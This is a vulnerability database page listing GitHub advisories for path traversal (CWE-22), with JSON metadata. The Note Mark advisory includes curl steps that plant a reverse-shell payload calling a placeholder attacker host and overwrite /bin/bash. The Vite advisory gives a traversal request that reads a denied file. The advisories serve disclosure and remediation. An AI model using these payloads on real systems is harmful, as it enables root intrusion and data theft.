CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13139 vulnerabilities reference this CWE, most recent first.
GHSA-G46X-XW54-6WM3
Vulnerability from github – Published: 2023-12-20 00:32 – Updated: 2023-12-20 00:32Softing edgeAggregator Restore Configuration Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.
The specific flaw exists within the processing of backup zip files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this to execute code in the context of root. Was ZDI-CAN-20543.
{
"affected": [],
"aliases": [
"CVE-2023-38126"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-19T22:15:07Z",
"severity": "HIGH"
},
"details": "Softing edgeAggregator Restore Configuration Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the processing of backup zip files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this to execute code in the context of root. Was ZDI-CAN-20543.",
"id": "GHSA-g46x-xw54-6wm3",
"modified": "2023-12-20T00:32:43Z",
"published": "2023-12-20T00:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38126"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1058"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G48H-R36W-JJ6X
Vulnerability from github – Published: 2023-08-08 18:30 – Updated: 2024-04-04 06:41Path traversal in Zoom Desktop Client for Windows before 5.14.7 may allow an unauthenticated user to enable an escalation of privilege via network access.
{
"affected": [],
"aliases": [
"CVE-2023-36534"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-08T18:15:14Z",
"severity": "CRITICAL"
},
"details": "Path traversal in Zoom Desktop Client for Windows before 5.14.7 may allow an unauthenticated user to enable an escalation of privilege via network access.",
"id": "GHSA-g48h-r36w-jj6x",
"modified": "2024-04-04T06:41:57Z",
"published": "2023-08-08T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36534"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G497-QRWV-F7WH
Vulnerability from github – Published: 2022-05-02 00:07 – Updated: 2022-05-02 00:07Multiple directory traversal vulnerabilities in EasySite 2.3 allow remote attackers to read arbitrary files or list directories via a .. (dot dot) in the (1) module or (2) action parameter in (a) www/index.php; the (3) module, (4) ss_module, or (5) ss_action parameter in (b) modules/Module/index.php or (c) modules/Themes/index.php; or the (6) module parameter in (d) inc/vmenu.php.
{
"affected": [],
"aliases": [
"CVE-2008-4155"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-09-19T23:00:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in EasySite 2.3 allow remote attackers to read arbitrary files or list directories via a .. (dot dot) in the (1) module or (2) action parameter in (a) www/index.php; the (3) module, (4) ss_module, or (5) ss_action parameter in (b) modules/Module/index.php or (c) modules/Themes/index.php; or the (6) module parameter in (d) inc/vmenu.php.",
"id": "GHSA-g497-qrwv-f7wh",
"modified": "2022-05-02T00:07:30Z",
"published": "2022-05-02T00:07:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4155"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44599"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6288"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31570"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4280"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30784"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G49J-8C9G-MFWC
Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00The romain20100/nursequest repository through 2018-02-22 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.
{
"affected": [],
"aliases": [
"CVE-2022-31555"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-11T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The romain20100/nursequest repository through 2018-02-22 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
"id": "GHSA-g49j-8c9g-mfwc",
"modified": "2022-07-16T00:00:28Z",
"published": "2022-07-12T00:00:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31555"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G49P-4QXJ-88V3
Vulnerability from github – Published: 2026-05-07 21:06 – Updated: 2026-05-15 23:45Description
The Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)).
When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory.
The export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as /bin/bash with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting /bin/bash does not affect the running export process. However, the next time any user or administrator invokes bash on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to /etc/cron.d/ or systemd unit files provides additional exploitation paths.
The data flow is: X-Name HTTP header > handlers/assets.go (no validation) > services/assets.go (stored to DB as-is) > cli/migrate.go (used in os.Create(filepath.Join(..., asset.Name))) > arbitrary file write.
Source Code Analysis
The asset upload handler at backend/handlers/assets.go:48-51 extracts the filename directly from the X-Name header:
type PostNoteAssetInput struct {
NoteID uuid.UUID `path:"noteID" format:"uuid"`
Name string `header:"X-Name" required:"true"`
RawBody []byte `required:"true"`
}
The service layer at backend/services/assets.go:39-42 stores this value without validation:
noteAsset := db.NoteAsset{
NoteID: noteID,
Name: name,
}
The V1 export function at backend/cli/migrate.go:328 uses the unsanitized name directly:
f, err := os.Create(filepath.Join(noteDir, asset.Name))
The non-V1 export function at backend/cli/migrate.go:223 similarly uses it:
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+asset.Name))
In both cases, filepath.Join / path.Join resolves ../ sequences in asset.Name, causing the resulting path to escape the intended directory.
Steps to Reproduce
-
Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image:
docker run -d --name notemark -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.2 -
Register a user account:
curl -s -X POST http://localhost:8080/api/users -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","name":"attacker"}' -
Authenticate and capture the session cookie:
curl -s -D - -X POST http://localhost:8080/api/auth/token -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}'. Save theAuth-Session-Tokencookie value from theSet-Cookieresponse header. -
Create a notebook:
curl -s -X POST http://localhost:8080/api/books -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'. Note the returnedidasBOOK_ID. -
Create a note in the notebook:
curl -s -X POST http://localhost:8080/api/books/<BOOK_ID>/notes -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'. Note the returnedidasNOTE_ID. -
Upload an asset with a reverse shell payload in the body and a path traversal filename in the
X-Nameheader targeting/bin/bash:curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\nnc <ATTACKER_IP> <PORT> -e /bin/sh'. Confirm the response contains"name":"../../../../../../bin/bash", showing the traversal payload was stored without sanitization. -
Trigger the export as an administrator (simulating the admin running a routine data export):
docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup -
Verify
/bin/bashwas overwritten with the attacker payload:docker exec notemark cat /bin/bash. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write. -
Start a listener on the attacker machine (
nc -lvnp <PORT>), then invoke bash on the target:docker exec notemark bash. A reverse shell connects back to the attacker as root, confirming Remote Code Execution.
Proof of Concept (Video)
note-mark-path-traversal-rce.webm
Recommendations
The root cause is the complete absence of input validation on the X-Name header value used as the asset filename. The fix should be applied at two layers.
At the input layer in the asset upload handler, the application should reject any asset name containing path separators (/, \) or directory traversal sequences (..). The simplest approach is to apply filepath.Base() to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or . after this operation should be rejected. This validation should be applied in the PostNoteAsset handler before the name reaches the service layer.
At the export layer in the CLI migration code, the application should apply filepath.Base() to asset.Name before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at migrate.go:328 and the standard export path at migrate.go:223 require this fix.
Reported By: Ravindu Wickramasinghe (rvz) - Zyenra Security - www.zyenra.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260501152243-db3f72bff780"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44522"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:06:55Z",
"nvd_published_at": "2026-05-14T19:16:37Z",
"severity": "HIGH"
},
"details": "### Description\n\nThe Note Mark application allows authenticated users to upload assets to notes via `POST /api/notes/{noteID}/assets`, where the asset filename is provided through the `X-Name` HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of `filepath.Base()` to strip directory components. The unsanitized name is persisted as-is in the `note_assets` table (`Name` column, `varchar(80)`).\n\nWhen an administrator subsequently runs the data export CLI commands (`note-mark migrate export-v1` or `note-mark migrate export`), the stored asset name is passed directly into `filepath.Join()` and `path.Join()` calls as part of the output file path argument to `os.Create()`. Since Go\u0027s `filepath.Join()` resolves `../` sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory.\n\nThe export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as `/bin/bash` with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting `/bin/bash` does not affect the running export process. However, the next time any user or administrator invokes `bash` on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to `/etc/cron.d/` or systemd unit files provides additional exploitation paths.\n\nThe data flow is: `X-Name` HTTP header \u003e `handlers/assets.go` (no validation) \u003e `services/assets.go` (stored to DB as-is) \u003e `cli/migrate.go` (used in `os.Create(filepath.Join(..., asset.Name))`) \u003e arbitrary file write.\n\n#### Source Code Analysis\n\nThe asset upload handler at `backend/handlers/assets.go:48-51` extracts the filename directly from the `X-Name` header:\n\n```go\ntype PostNoteAssetInput struct {\n NoteID uuid.UUID `path:\"noteID\" format:\"uuid\"`\n Name string `header:\"X-Name\" required:\"true\"`\n RawBody []byte `required:\"true\"`\n}\n```\n\nThe service layer at `backend/services/assets.go:39-42` stores this value without validation:\n\n```go\nnoteAsset := db.NoteAsset{\n NoteID: noteID,\n Name: name,\n}\n```\n\nThe V1 export function at `backend/cli/migrate.go:328` uses the unsanitized name directly:\n\n```go\nf, err := os.Create(filepath.Join(noteDir, asset.Name))\n```\n\nThe non-V1 export function at `backend/cli/migrate.go:223` similarly uses it:\n\n```go\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+asset.Name))\n```\n\nIn both cases, `filepath.Join` / `path.Join` resolves `../` sequences in `asset.Name`, causing the resulting path to escape the intended directory.\n\n\n### Steps to Reproduce\n\n1. Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image: `docker run -d --name notemark -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.2`\n\n2. Register a user account: `curl -s -X POST http://localhost:8080/api/users -H \u0027Content-Type: application/json\u0027 -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"attacker\"}\u0027`\n\n3. Authenticate and capture the session cookie: `curl -s -D - -X POST http://localhost:8080/api/auth/token -H \u0027Content-Type: application/json\u0027 -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}\u0027`. Save the `Auth-Session-Token` cookie value from the `Set-Cookie` response header.\n\n4. Create a notebook: `curl -s -X POST http://localhost:8080/api/books -H \u0027Content-Type: application/json\u0027 -b \u0027Auth-Session-Token=\u003cTOKEN\u003e\u0027 -d \u0027{\"name\":\"test\",\"slug\":\"test\"}\u0027`. Note the returned `id` as `BOOK_ID`.\n\n5. Create a note in the notebook: `curl -s -X POST http://localhost:8080/api/books/\u003cBOOK_ID\u003e/notes -H \u0027Content-Type: application/json\u0027 -b \u0027Auth-Session-Token=\u003cTOKEN\u003e\u0027 -d \u0027{\"name\":\"test\",\"slug\":\"test\"}\u0027`. Note the returned `id` as `NOTE_ID`.\n\n6. Upload an asset with a reverse shell payload in the body and a path traversal filename in the `X-Name` header targeting `/bin/bash`: `curl -s -X POST http://localhost:8080/api/notes/\u003cNOTE_ID\u003e/assets -b \u0027Auth-Session-Token=\u003cTOKEN\u003e\u0027 -H \u0027X-Name: ../../../../../../bin/bash\u0027 -H \u0027Content-Type: application/octet-stream\u0027 -d \u0027#!/bin/sh\\nnc \u003cATTACKER_IP\u003e \u003cPORT\u003e -e /bin/sh\u0027`. Confirm the response contains `\"name\":\"../../../../../../bin/bash\"`, showing the traversal payload was stored without sanitization.\n\n7. Trigger the export as an administrator (simulating the admin running a routine data export): `docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup`\n\n8. Verify `/bin/bash` was overwritten with the attacker payload: `docker exec notemark cat /bin/bash`. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write.\n\n9. Start a listener on the attacker machine (`nc -lvnp \u003cPORT\u003e`), then invoke bash on the target: `docker exec notemark bash`. A reverse shell connects back to the attacker as root, confirming Remote Code Execution.\n\n#### Proof of Concept (Video) \n[note-mark-path-traversal-rce.webm](https://github.com/user-attachments/assets/6969a00a-3ad1-4e30-b5ce-9e780da4fa2b)\n\n\n### Recommendations\n\nThe root cause is the complete absence of input validation on the `X-Name` header value used as the asset filename. The fix should be applied at two layers.\n\nAt the input layer in the asset upload handler, the application should reject any asset name containing path separators (`/`, `\\`) or directory traversal sequences (`..`). The simplest approach is to apply `filepath.Base()` to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or `.` after this operation should be rejected. This validation should be applied in the `PostNoteAsset` handler before the name reaches the service layer.\n\nAt the export layer in the CLI migration code, the application should apply `filepath.Base()` to `asset.Name` before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at `migrate.go:328` and the standard export path at `migrate.go:223` require this fix.\n\n\nReported By: Ravindu Wickramasinghe (rvz) - Zyenra Security - www.zyenra.com",
"id": "GHSA-g49p-4qxj-88v3",
"modified": "2026-05-15T23:45:00Z",
"published": "2026-05-07T21:06:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44522"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution"
}
GHSA-G4C6-XX88-2HQQ
Vulnerability from github – Published: 2026-02-11 15:30 – Updated: 2026-02-12 21:31A path traversal vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.
We have already fixed the vulnerability in the following version: File Station 5 5.5.6.5166 and later
{
"affected": [],
"aliases": [
"CVE-2025-62853"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T13:15:57Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5166 and later",
"id": "GHSA-g4c6-xx88-2hqq",
"modified": "2026-02-12T21:31:25Z",
"published": "2026-02-11T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62853"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G4F9-7R7C-J5CJ
Vulnerability from github – Published: 2022-05-01 23:47 – Updated: 2022-05-01 23:47Multiple directory traversal vulnerabilities in PHP-Fusion Forum Rank System 6 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the settings[locale] parameter to (1) forum.php and (2) profile.php in infusions/rank_system/. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-2227"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-14T18:20:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in PHP-Fusion Forum Rank System 6 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the settings[locale] parameter to (1) forum.php and (2) profile.php in infusions/rank_system/. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-g4f9-7r7c-j5cj",
"modified": "2022-05-01T23:47:58Z",
"published": "2022-05-01T23:47:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2227"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42244"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30304"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29077"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29077/exploit"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G4F9-HF22-85J8
Vulnerability from github – Published: 2024-11-15 18:30 – Updated: 2024-12-03 18:31yshopmall V1.0 has an arbitrary file upload vulnerability, which can enable RCE or even take over the server when improperly configured to parse JSP files.
{
"affected": [],
"aliases": [
"CVE-2024-50648"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-15T16:15:36Z",
"severity": "CRITICAL"
},
"details": "yshopmall V1.0 has an arbitrary file upload vulnerability, which can enable RCE or even take over the server when improperly configured to parse JSP files.",
"id": "GHSA-g4f9-hf22-85j8",
"modified": "2024-12-03T18:31:02Z",
"published": "2024-11-15T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50648"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/blob/main/yshop_fileu_pload.md"
},
{
"type": "WEB",
"url": "https://github.com/Yllxx03/CVE/tree/main/CVE-2024-50648"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G4G6-RCR4-HFFX
Vulnerability from github – Published: 2022-05-14 01:37 – Updated: 2022-05-14 01:37An issue was discovered in idreamsoft iCMS 7.0.13. editor/editor.admincp.php allows admincp.php?app=editor&do=fileManager dir=../ Directory Traversal.
{
"affected": [],
"aliases": [
"CVE-2019-7236"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-30T21:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in idreamsoft iCMS 7.0.13. editor/editor.admincp.php allows admincp.php?app=editor\u0026do=fileManager dir=../ Directory Traversal.",
"id": "GHSA-g4g6-rcr4-hffx",
"modified": "2022-05-14T01:37:56Z",
"published": "2022-05-14T01:37:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7236"
},
{
"type": "WEB",
"url": "https://github.com/idreamsoft/iCMS/issues/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G4JQ-H2W9-997C
Vulnerability from github – Published: 2025-09-09 20:55 – Updated: 2025-09-09 20:55Summary
Files starting with the same name with the public directory were served bypassing the server.fs settings.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option) - uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'
You will receive a 403 HTTP Response, because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'
You will receive the contents of private.txt.
Related links
- https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.1.4"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "7.1.0"
},
{
"fixed": "7.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.6"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.3.5"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.3.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.19"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58751"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T20:55:56Z",
"nvd_published_at": "2025-09-08T23:15:36Z",
"severity": "LOW"
},
"details": "### Summary\nFiles starting with the same name with the public directory were served bypassing the `server.fs` settings.\n\n### Impact\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using --host or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- uses [the public directory feature](https://vite.dev/guide/assets.html#the-public-directory) (enabled by default)\n- a symlink exists in the public directory\n\n### Details\nThe [servePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L79) function is in charge of serving public files from the server. It returns the [viteServePublicMiddleware](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L106) function which runs the needed tests and serves the page. The viteServePublicMiddleware function [checks if the publicFiles variable is defined](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L111), and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. [publicFiles may be undefined if there is a symbolic link anywhere inside the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/publicDir.ts#L21). In that case, every requested page will be passed to the public serving function. The serving function is based on the [sirv](https://github.com/lukeed/sirv) library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware [disables this functionality](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L89) since public pages are meant to be available always, regardless of whether they are in the allow or deny list.\n\nIn the case of public pages, the serving function is [provided with the path to the public directory](https://github.com/vitejs/vite/blob/9719497adec4ad5ead21cafa19a324bb1d480194/packages/vite/src/node/server/middlewares/static.ts#L85) as a root directory. The code of the sirv library [uses the join function to get the full path to the requested file](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L42). For example, if the public directory is \"/www/public\", and the requested file is \"myfile\", the code will join them to the string \"/www/public/myfile\". The code will then pass this string to the normalize function. Afterwards, the code will [use the string\u0027s startsWith function](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L43) to determine whether the created path is within the given directory or not. Only if it is, it will be served.\n\nSince [sirv trims the trailing slash of the public directory](https://github.com/lukeed/sirv/blob/d061616827dd32d53b61ec9530c9445c8f592620/packages/sirv/index.mjs#L119), the string\u0027s startsWith function may return true even if the created path is not within the public directory. For example, if the server\u0027s root is at \"/www\", and the public directory is at \"/www/p\", if the created path will be 